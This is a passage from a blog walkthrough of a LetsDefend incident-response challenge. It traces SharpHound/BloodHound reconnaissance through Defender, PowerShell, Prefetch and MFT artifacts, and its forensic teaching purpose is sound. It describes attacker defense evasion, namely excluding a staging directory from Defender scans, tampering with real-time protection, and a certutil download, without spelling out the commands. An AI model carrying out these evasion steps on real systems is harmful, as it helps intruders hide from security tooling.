&lt;code&gt;SharpHound.exe&lt;/code&gt; file. The &lt;strong&gt;SI_Creation On&lt;/strong&gt; column contains the timestamp of the download.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/f14b3825eeba4a0d26779b2745a98cd6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-windows-defender-detected-the-malicious-file-and-generated-an-alert-what-is-the-sha1-hash-of-thisfile&#34;&gt;Question 6: Windows Defender detected the malicious file and generated an alert. What is the SHA1 hash of this file?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified how and where the malicious file was downloaded, let&amp;rsquo;s turn our attention to gathering some additional details about the file. Fortunately, the question tells us that the &lt;code&gt;SharpHound.exe&lt;/code&gt; binary was detected by &lt;strong&gt;Windows Defender&lt;/strong&gt;, so our first stop will be to review the Defender detection logs for any more clues.&lt;/p&gt;&#xA;&lt;p&gt;Within our artifacts, we can find the &lt;strong&gt;Windows Defender Operational logs&lt;/strong&gt; here:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx&lt;/p&gt;&#xA;&lt;p&gt;Load this up in &lt;em&gt;Event Log Explorer&lt;/em&gt; and apply some filtering. This time, we&amp;rsquo;ll search for &lt;strong&gt;Event ID 1117&lt;/strong&gt; and &lt;strong&gt;1116&lt;/strong&gt;. Per the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus#event-id-1116&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn documentation&lt;/a&gt;, these events correspond to:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;MALWAREPROTECTION_STATE_MALWARE_DETECTED&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;MALWAREPROTECTION_STATE_MALWARE_ACTION_TAKEN&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These should give us good coverage of detection and remediation actions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/17d464ab3cd63622580cc3c713640b83_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying malware detection events&lt;/p&gt;&#xA;&lt;p&gt;After applying the filter, we&amp;rsquo;ll find events showing the detection and quarantine actions taken on the &lt;code&gt;SharpHound.exe&lt;/code&gt; file. While helpful, these event logs don&amp;rsquo;t contain the SHA1 file hash we need to answer the question.&lt;/p&gt;&#xA;&lt;p&gt;No problem! Let&amp;rsquo;s pivot to a second local Defender artifact — the &lt;strong&gt;&lt;em&gt;Support logs&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt; We can find these here:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C\ProgramData\Microsoft\Windows Defender\Support&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;810px&#34; data-flex-grow=&#34;337&#34; height=&#34;237&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/ff6492d29e9b18c971f5a1ca13532165_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the Windows Defender support logs&lt;/p&gt;&#xA;&lt;p&gt;Inside this directory, open the &lt;code&gt;MPLog-20240813€“091114.log&lt;/code&gt; file with a text editor like &lt;em&gt;Notepad++&lt;/em&gt;. Then, simply search for the name of the file: &lt;code&gt;SharpHound.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;349px&#34; data-flex-grow=&#34;145&#34; height=&#34;550&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/745b058e46c673c1cafbfdc9a6a78897_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Finding the file hash in the MPLog&lt;/p&gt;&#xA;&lt;p&gt;Bingo! Right below the file name is the &lt;strong&gt;SHA1 hash&lt;/strong&gt; of the file. This is extremely handy if we need to pivot to external threat intelligence platforms. It&amp;rsquo;s a great example of why understanding all available logs is fundamental, since the Event Logs didn&amp;rsquo;t contain what we needed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2313px&#34; data-flex-grow=&#34;963&#34; height=&#34;83&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/95eb333d262d21d152650c12f78f125d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-to-evade-detection-the-attacker-excluded-a-specific-directory-from-the-defender-scan-what-command-did-they-use-to-doso&#34;&gt;Question 7: To evade detection, the attacker excluded a specific directory from the Defender scan. What command did they use to do so?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, so we figured out the malware got detected the first time — whoops! From the question, we know the attacker then made an exclusion for a directory, probably to use as a staging area to further avoid detection.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s jump back to the &lt;strong&gt;Windows Defender Operational logs&lt;/strong&gt; we explored in the previous question. This time, we&amp;rsquo;ll filter for &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus#event-id-5007&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 5007&lt;/strong&gt;&lt;/a&gt; (&lt;em&gt;MALWAREPROTECTION_CONFIG_CHANGED&lt;/em&gt;), since any exclusion actions should be captured by this event.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/8853bfb00d8b155302de047d00d38adc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Discovering a Defender exclusion configuration&lt;/p&gt;&#xA;&lt;p&gt;In &lt;em&gt;Event Log Explorer&lt;/em&gt;, the first events at the top of the list from the date of the attack show two interesting changes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tampering with the real-time protection setting&lt;/li&gt;&#xA;&lt;li&gt;Setting a new configuration value for an exclusion path: &lt;code&gt;C:\Windows\Temp&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So now we know the directory, but we still don&amp;rsquo;t know the exact command used. Why don&amp;rsquo;t we check the &lt;strong&gt;PowerShell logs&lt;/strong&gt; for evidence of command execution? These logs are in the same directory as the rest of the event logs. The only trick is that there are two PowerShell logs — we want the &lt;strong&gt;Windows PowerShell&lt;/strong&gt; log, not the operational log:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Windows PowerShell.evtx&lt;/p&gt;&#xA;&lt;p&gt;Since we already have a timestamp from the Defender logs for when the exclusion was implemented, we can correlate that with the PowerShell log. By doing that, we&amp;rsquo;ll stumble across the exact command used to set the exclusion.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/d0d3199b6fe8b5604381d2e349896723_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Finding the exclusion command in the Windows Powershell logs&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/d02a86e058f22a665751516f3fa2a5ba_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-the-attacker-executed-the-malicious-file-soon-after-downloading-it-when-exactly-did-they-first-runit&#34;&gt;Question 8: The attacker executed the malicious file soon after downloading it. When exactly did they first run it?&#xA;&lt;/h3&gt;&lt;p&gt;For this, we&amp;rsquo;ll head back to &lt;em&gt;Timeline Explorer&lt;/em&gt; and review our &lt;strong&gt;PECmd&lt;/strong&gt; output from &lt;strong&gt;Questions 3 and 4&lt;/strong&gt; (&lt;code&gt;investigation.csv&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Use the search box to look for &lt;code&gt;Sharphound.exe&lt;/code&gt;. Then, focus on the &lt;strong&gt;Last Run&lt;/strong&gt; column to get the exact timestamp of when the malware was executed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;650px&#34; data-flex-grow=&#34;271&#34; height=&#34;295&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/dd6240bf1d6e63e2549ce7d720c12d44_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Identifying the last run timestamp of the malicious file&lt;/p&gt;&#xA;&lt;p&gt;Now we have the complete picture of how the file was downloaded, when it was downloaded, when it was detected, and when it was run.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1864px&#34; data-flex-grow=&#34;776&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/e8b0741639008e4fab4df9588a60f61e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-after-executing-the-malicious-file-a-zip-file-was-created-on-the-system-what-is-the-full-path-of-this-zipfile&#34;&gt;Question 9: After executing the malicious file, a zip file was created on the system. What is the full path of this zip file?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;re closing in on the investigation and starting to get our arms around the reconnaissance utilities being downloaded into the victim environment. To answer &lt;strong&gt;Question 9&lt;/strong&gt;, we need to identify a zip file created on the system following the execution of &lt;code&gt;SharpHound.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You might have spotted a clue earlier when reviewing the &lt;strong&gt;Defender Operational logs&lt;/strong&gt;, where we saw evidence of a malicious file downloaded by abusing a living-off-the-land binary: &lt;code&gt;certutil&lt;/code&gt;. While that&amp;rsquo;s out of scope for this challenge, it&amp;rsquo;s worth noting. More importantly, the Defender event also shows the full command run—which includes the directory where the file was copied on the victim system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;566&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/c017d933495748d86949d01c8fdfff86_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Stumbling across a malicious zip file&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s approach this another way, too. Jump back over to &lt;em&gt;MFTExplorer&lt;/em&gt; and continue searching the excluded directory &lt;code&gt;C:\Windows\Temp&lt;/code&gt;, where we previously found the &lt;code&gt;SharpHound.exe&lt;/code&gt; binary. Since we&amp;rsquo;ve determined this is being used by the attacker as a staging directory, we can look for any other suspicious zip files and correlate them with the Defender logs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/fdaf6fe250ebaa53a1b0a9f5b4b845d6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;MFT Explorer: Confirming the malicious zip file&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Voila!&lt;/strong&gt; We find the record for the malicious zip file in the same staging directory. Remember when I mentioned that &lt;strong&gt;SharpHound&lt;/strong&gt; is the collector for &lt;strong&gt;BloodHound&lt;/strong&gt;? Now we have confirmation that &lt;em&gt;BloodHound&lt;/em&gt; is also present, and we can start to get a pretty good idea of the techniques the attacker will employ next: reconnaissance and enumeration of the environment using LDAP queries to map Active Directory objects.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2258px&#34; data-flex-grow=&#34;941&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/3febc291e84037ad94a914d16b156276_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-10-11&#34;&gt;Questions 10 &amp;amp; 11:&#xA;&lt;/h3&gt;&lt;h3 id=&#34;what-is-the-malware-family-name-associated-with-the-malicious-file-that-was-downloaded&#34;&gt;What is the malware family name associated with the malicious file that was downloaded?&#xA;&lt;/h3&gt;&lt;h3 id=&#34;what-is-the-malware-signature-detected-by-windows-defender-for-themalware&#34;&gt;What is the malware signature detected by Windows Defender for the malware?&#xA;&lt;/h3&gt;&lt;p&gt;To go out with a bang, let&amp;rsquo;s tackle these two questions together. This pair can be a little confusing because we just discovered evidence of &lt;strong&gt;BloodHound&lt;/strong&gt;. However, these questions are asking about the detection signature name for the &lt;code&gt;SharpHound.exe&lt;/code&gt; binary we found in the &lt;strong&gt;Defender Event logs&lt;/strong&gt; back in Question &lt;strong&gt;6&lt;/strong&gt;—and we already stumbled across the answer.&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s a quick refresher:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/8f784b2923210ab174375e6b86794205_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the malware family of SharpHound&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s where it gets tricky: we&amp;rsquo;re looking for the &lt;em&gt;family name&lt;/em&gt; that the &lt;code&gt;SharpHound.exe&lt;/code&gt; binary belongs to—not the name of the binary itself. A malware family name is used to describe multiple pieces of malware that share specific properties like capability, origin, or code base.&lt;/p&gt;&#xA;&lt;p&gt;To confirm this, let&amp;rsquo;s pivot to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; for additional intelligence, such as community family labels. Copy the SHA1 hash we found in &lt;strong&gt;Question 6&lt;/strong&gt; and navigate to &lt;em&gt;VirusTotal&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;824px&#34; data-flex-grow=&#34;343&#34; height=&#34;233&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/d060362bdd88a3b384ed0f798f102a8a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/cc19c785702eea660a1dd7cbf9e4fef80b41384e8bd6ce26b7229e0251f24272&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/cc19c785702eea660a1dd7cbf9e4fef80b41384e8bd6ce26b7229e0251f24272&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the results page loads, focus on the family labels. One of them matches something we saw in the Defender logs: &lt;strong&gt;MSIL&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For additional context, Microsoft follows its own naming convention for malware detections, and it can be difficult to decipher what&amp;rsquo;s being detected from the name alone. A great resource for this is the &lt;strong&gt;Microsoft Learn&lt;/strong&gt; page: &lt;em&gt;How Microsoft names malware&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/unified-secops/malware-naming&#34;  title=&#34;https://learn.microsoft.com/en-us/unified-secops/malware-naming&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;How Microsoft names malware - Unified security operations&lt;/strong&gt;&#xA;_Understand the malware naming convention used by Microsoft Defender Antivirus and other Microsoft antimalware._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/unified-secops/malware-naming&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Based on this article, we can understand that &lt;strong&gt;MSIL&lt;/strong&gt; describes the malware&amp;rsquo;s scripting language — not what we typically think of as a malware family. According to the docs, MSIL refers to &lt;em&gt;.NET Intermediate Language scripts&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The full detection signature name from Defender combines this prefix with additional details about the threat.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/212d956e12691d7c5874e9fc62892c6e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the malware detection signature of SharpHound&lt;/p&gt;&#xA;&lt;p&gt;In this example, we can decipher some further details:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;VirTool:&lt;/strong&gt; Indicates the file is a tool that could be used maliciously&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;MSIL:&lt;/strong&gt; The platform or language (.NET Intermediate Language)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SharpHound.A:&lt;/strong&gt; The specific malware family and variant&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And that wraps up our investigation! Awesome job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2313px&#34; data-flex-grow=&#34;963&#34; height=&#34;83&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/b4a33ade80e489f9fe762e874955d38d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/f5d216334d4dea6063c0440909728bea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;580px&#34; data-flex-grow=&#34;241&#34; height=&#34;331&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/9085a22ccadbfbc80a51b35a03f7ee7d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This challenge provided a great opportunity to go back to the basics and dive into forensics and incident response for some classic Active Directory reconnaissance techniques. It pushed us to pivot between multiple artifacts like Windows Event Logs, Prefetch files, $MFT records, and Windows Defender logs to piece together a complete attack timeline. Along the way, we uncovered how attackers can leverage living-off-the-land binaries, abuse legitimate tools like &lt;strong&gt;SharpHound&lt;/strong&gt;, and even tamper with security configurations to evade detection.&lt;/p&gt;&#xA;&lt;p&gt;Put together, that&amp;rsquo;s what made it feel so realistic — because in the real world, attackers rarely leave all their footprints in one place. We had to investigate several log sources, learning about each one as we followed the trail and validate our findings using tools like &lt;em&gt;Eric Zimmerman&amp;rsquo;s tools&lt;/em&gt;, &lt;em&gt;Event Log Explorer&lt;/em&gt;, and &lt;em&gt;VirusTotal&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I chose this challenge to revisit Windows log artifacts and brush up on investigating Active Directory-based attacks. It&amp;rsquo;s a perfect example of how layered techniques like initial access, reconnaissance, and defense evasion all fit together in an attack chain. And at the core of it all was the attacker&amp;rsquo;s objective: &lt;strong&gt;LDAP enumeration&lt;/strong&gt;, using LDAP queries through tools like &lt;em&gt;BloodHound&lt;/em&gt; to map Active Directory objects and identify privilege escalation paths. While we didn&amp;rsquo;t investigate beyond the ingress tools transfer, it was rewarding to see how each question built on the previous one, creating a logical and linear investigation flow. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt; and &lt;strong&gt;consider following me&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ldap-enumeration&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/ldap-enumeration&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Event Log Explorer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://eventlogxp.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Magnet Forensics Blog — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Forensic Analysis of Prefetch files in Windows&lt;/em&gt;&lt;/strong&gt;&amp;rdquo;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — System Owner/User Discovery (T1033):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1033/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1033/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Software — BloodHound (S0521):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0521/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0521/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Magnet Forensics Blog — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**_Harnessing MFT parsing for incident response investigations&amp;quot;: &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/harnessing-mft-parsing-for-incident-response-investigations/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/harnessing-mft-parsing-for-incident-response-investigations/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Review event logs and error codes to troubleshoot issues with Microsoft Defender Antivirus:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus#event-id-5007&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus#event-id-5007&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — 